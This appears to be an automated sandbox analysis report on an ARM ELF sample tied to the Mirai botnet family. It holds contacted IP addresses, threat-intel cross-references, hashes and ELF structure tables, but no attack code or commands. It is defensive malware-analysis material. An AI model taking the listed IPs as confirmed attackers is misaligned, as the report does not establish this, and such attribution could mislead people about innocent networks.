42.9.212.123	unknown	Korea Republic of	4249	LILLY-ASUS	false
49.128.251.44	unknown	Australia	5666	NET-CPRKUS	false
94.227.194.99	unknown	Belgium	6848	TELENET-ASBE	false
137.68.117.127	unknown	Korea Republic of	1704	KAIST-SEOUL-AS-KRKoreaAdvancedInstituteofScienceandTe	false
178.0.241.87	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
220.98.177.105	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
205.82.23.8	unknown	United States	647	DNIC-ASBLK-00616-00665US	false
105.103.188.180	unknown	Algeria	36947	ALGTEL-ASDZ	false
69.86.21.41	unknown	United States	12271	TWC-12271-NYCUS	false
145.219.101.25	unknown	Netherlands	49362	DSVDK	false
109.174.181.150	unknown	United Kingdom	4589	EASYNETEasynetGlobalServicesEU	false
165.133.230.201	unknown	Korea Republic of	4961	DISC-AS-KRDaewooInformationSystemsKR	false
169.209.240.245	unknown	Korea Republic of	37611	AfrihostZA	false
71.136.21.254	unknown	United States	7018	ATT-INTERNET4US	false
42.69.171.156	unknown	Taiwan; Republic of China (ROC)	4249	LILLY-ASUS	false
218.41.212.42	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	false
79.221.176.61	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
160.1.198.184	unknown	United States	8987	AMAZONEXPANSIONGB	false
23.87.97.31	unknown	United States	395954	LEASEWEB-USA-LAX-11US	false
109.142.223.176	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
180.5.98.239	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
95.21.228.57	unknown	Spain	12479	UNI2-ASES	false
2.202.172.119	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
178.237.22.125	unknown	Russian Federation	47764	MAILRU-ASMailRuRU	false
61.201.44.29	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
94.151.120.64	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
195.252.91.210	unknown	Serbia	6700	BEOTEL-AShttpwwwbeotelnetRS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
206.55.88.211	apep.arm7	Get hash	malicious	Mirai	Browse
79.4.154.76	yAczmAdl49.elf	Get hash	malicious	Mirai	Browse
220.20.98.51	NXqr9x7mUE	Get hash	malicious	Mirai	Browse
156.2.60.146	bk.mpsl-20220929-2309.elf	Get hash	malicious	Mirai	Browse
	ak.arm7-20220923-1454.elf	Get hash	malicious	Mirai	Browse
	JElECSUJ87	Get hash	malicious	Mirai	Browse
205.237.116.113	ugy3koBFUO.elf	Get hash	malicious	Mirai	Browse
205.237.116.113	lLicxyp3Ad.elf	Get hash	malicious	Mirai	Browse
109.100.75.194	OE5YYByORN	Get hash	malicious	Mirai	Browse
85.218.240.80	j7tlqm3Pxr	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEFONICA_DE_ESPANAES	Ma4NfFTyMr.elf	Get hash	malicious	Mirai	Browse	79.155.180.207
	x86-20231215-0918.elf	Get hash	malicious	Mirai	Browse	81.41.228.20
	arm7-20231214-2132.elf	Get hash	malicious	Mirai	Browse	88.12.127.122
	V6AqdXqr51.elf	Get hash	malicious	Gafgyt, Mirai	Browse	88.5.138.2
	4UGY3yakfT.elf	Get hash	malicious	Gafgyt, Mirai	Browse	88.5.138.6
	x86-20231212-1319.elf	Get hash	malicious	Mirai	Browse	80.24.160.79
	p34XVUW8pN.elf	Get hash	malicious	Mirai	Browse	83.49.170.28
	9934TdVVG1.elf	Get hash	malicious	Mirai	Browse	81.35.95.130
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	217.125.83.40
	Vzqkkay7zK.elf	Get hash	malicious	Gafgyt, Mirai	Browse	83.61.145.129
	UZVW668P4W.elf	Get hash	malicious	Mirai	Browse	80.59.251.183
	Ry3wzzBEE0.elf	Get hash	malicious	Mirai	Browse	95.121.137.210
	GvJmL3JXiO.elf	Get hash	malicious	Mirai	Browse	88.31.197.142
	khXfv5zuf7.elf	Get hash	malicious	Mirai	Browse	95.122.127.101
	5W0nv823TE.elf	Get hash	malicious	Mirai	Browse	95.121.137.213
	t2K8vlIWaf.elf	Get hash	malicious	Mirai	Browse	88.12.127.133
	ebQv2WFr7U.elf	Get hash	malicious	Mirai	Browse	88.9.29.182
	7u9c57GShq.elf	Get hash	malicious	Mirai	Browse	95.120.78.128
	A5LzNXnnXa.elf	Get hash	malicious	Mirai	Browse	195.55.237.212
	ZsgAt85vHl.elf	Get hash	malicious	Unknown	Browse	88.21.114.2
MTOCA	Setup.exe	Get hash	malicious	Unknown	Browse	64.18.87.81
	Setup.exe	Get hash	malicious	Unknown	Browse	64.18.87.81
	https://free.webcompanion.com/minime/es/?campaign=20398341592&gclid=EAIaIQobChMIgvfk4_f9ggMVxoCOCB3BrAveEAEYASAAEgJ2pfD_BwE	Get hash	malicious	Unknown	Browse	64.18.87.81
	f_038023.exe	Get hash	malicious	Unknown	Browse	64.18.87.82
	f_038023.exe	Get hash	malicious	Unknown	Browse	64.18.87.81
	f_000aab.exe	Get hash	malicious	Unknown	Browse	64.18.87.81
	f_000aab.exe	Get hash	malicious	Unknown	Browse	64.18.87.81
	f_000aab.exe	Get hash	malicious	Unknown	Browse	64.18.87.81
	f_000aab.exe	Get hash	malicious	Unknown	Browse	64.18.92.11
	f_000aab.exe	Get hash	malicious	Unknown	Browse	64.18.87.81
	Setup.exe	Get hash	malicious	Unknown	Browse	64.18.87.82
	Setup.exe	Get hash	malicious	Unknown	Browse	64.18.87.81
	setup.exe	Get hash	malicious	Unknown	Browse	64.18.87.81
	https://webcompanion.com/en/install.php?partner=IN220101&campaign=19746059167	Get hash	malicious	Unknown	Browse	64.18.92.73
	FileZilla_3.65.0_win64_sponsored-setup.exe	Get hash	malicious	CobaltStrike	Browse	64.18.87.81
	FileZilla_3.65.0_win64_sponsored-setup.exe	Get hash	malicious	CobaltStrike	Browse	64.18.92.11
	FileZilla_3.65.0_win64_sponsored-setup.exe	Get hash	malicious	CobaltStrike	Browse	64.18.87.81
	FileZilla_3.65.0_win64_sponsored-setup.exe	Get hash	malicious	CobaltStrike	Browse	64.18.92.11
	f_00226b.exe	Get hash	malicious	Unknown	Browse	64.18.87.81
	f_00226b.exe	Get hash	malicious	Unknown	Browse	64.18.87.81

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	5.976384777095288
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	4F5W85YGoU.elf
File size:	126'551 bytes
MD5:	50578ff2e8ed25b9fb0a4b2ca0d30d7f
SHA1:	1496997051268e2f151816d46533a07150372372
SHA256:	6023d3a78873210abd5c7cb3c4cb08d0004d29339ea8e6e602724602ba402247
SHA512:	cdd3b77006a354cf6ce2ab9e510a890c6eecb4895b3fdc43785129148bf0fd97613a23303ac3300a42277edc4abce95d4a0aaa5b3bbb001223b846e91f7ee44c
SSDEEP:	3072:mQcjorKiz1twQ/N1lCJCNx0bjRi7xKPXxM/9jB:mQcjorKiZWONPCJCNx0XROKPBM/9jB
TLSH:	38C34B46EA408A13C4D52776BA9F42493323E755D3EB33068D18AFF43F867AE0E63506
File Content Preview:	.ELF..............(.........4...........4. ...(........p@...@...@...................................X ..X ..............X ..X ..X ......@4..............\ ..\ ..\ ..................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	98480
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x10f80	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x19070	0x11070	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x19080	0x11080	0xea8	0x0	0x2	A	0	0	4
.ARM.extab	PROGBITS	0x19f28	0x11f28	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x19f40	0x11f40	0x118	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x22058	0x12058	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x2205c	0x1205c	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x2205c	0x1205c	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x22060	0x12060	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x22064	0x12064	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x22068	0x12068	0xa8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x22110	0x12110	0x230	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x22340	0x12340	0x3158	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x12340	0x982	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x12cc8	0xc0	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x12d88	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x12f9b	0x1d23	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x14cbe	0x692	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x15350	0x9c7	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x15d18	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x15fd0	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x1689a	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x17a29	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x17f81	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x17f97	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x18538	0x45e0	0x10	0x0		28	640	4
.strtab	STRTAB	0x0	0x1cb18	0x233f	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x11f40	0x19f40	0x19f40	0x118	0x118	4.4253	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x12058	0x12058	6.1178	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x12058	0x22058	0x22058	0x2e8	0x3440	3.8519	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x1205c	0x2205c	0x2205c	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80d4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x80f0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x19070	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x19080	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x19f28	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x19f40	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x22058	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x2205c	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x2205c	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x22060	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x22064	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x22068	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x22110	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x22340	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	25
$a	.symtab	0x80d4	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x19070	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80e0	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1907c	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8134	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8194	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x81d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8510	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x903c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa050	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa0ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa1a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa3c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa430	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa4a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa654	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xad00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xafa0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb698	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xbd44	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xbd94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xbe38	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xbe60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xbf38	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xcaf8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xcb20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd09c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd5f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd620	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd6f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe108	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe120	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe144	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe2a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe454	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xebcc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xec28	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xec90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xed60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xee3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xee64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xee88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xef28	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xefc8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfa30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfa58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfaa0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfac4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfae8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfb54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfc90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfcec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfd80	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfe10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfe90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xff24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10020	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10134	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10278	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1028c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10324	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10418	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1042c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1050c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10544	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10584	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x105c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1064c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1068c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10718	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10748	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10858	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10928	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x109ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10a9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10b84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10ba4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10be0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10bf0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10c00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10ca0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10d00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10d24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10d58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10d88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10db0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10df4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10e68	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10eac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10ef0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10f64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10fa8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10ff0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11030	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11074	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x110e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1112c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x111b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x111f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11268	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x112b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1133c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11384	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x113c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11418	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1142c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x114f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1155c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11f0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1204c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1240c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x128ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x128ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12a14	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12a2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12ad0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12b88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12cec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12d7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12e54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12f4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13038	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x130fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13248	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1386c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13c38	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13cd0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13d18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13e08	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13f44	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13f9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13fa4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13fd4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1402c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14034	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14064	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x140bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x140c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x140f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1414c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14154	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14180	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14208	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x142e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x143a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x143f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14450	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1483c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x148b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x148e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1496c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14974	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14980	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14990	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x149a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x149e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14a48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14aac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14b4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14b78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14b8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14ba0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14bb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14bdc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c14	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c68	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14cac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14cec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14df8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15070	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15414	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15744	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15764	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15bc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15c44	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15da8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15dd8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15f1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16038	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x162e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16694	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x167c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16860	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16cf0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16d10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16e00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16eec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16f30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16f80	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16fcc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17044	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17084	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x170a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17124	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1721c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17294	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x172fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17550	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1755c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17594	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x175ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17644	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17650	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17798	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x177f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x178cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x178fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x179a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x179c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17a74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17ab4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17b24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17b70	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17bbc	0	NOTYPE	<unknown>	DEFAULT	2
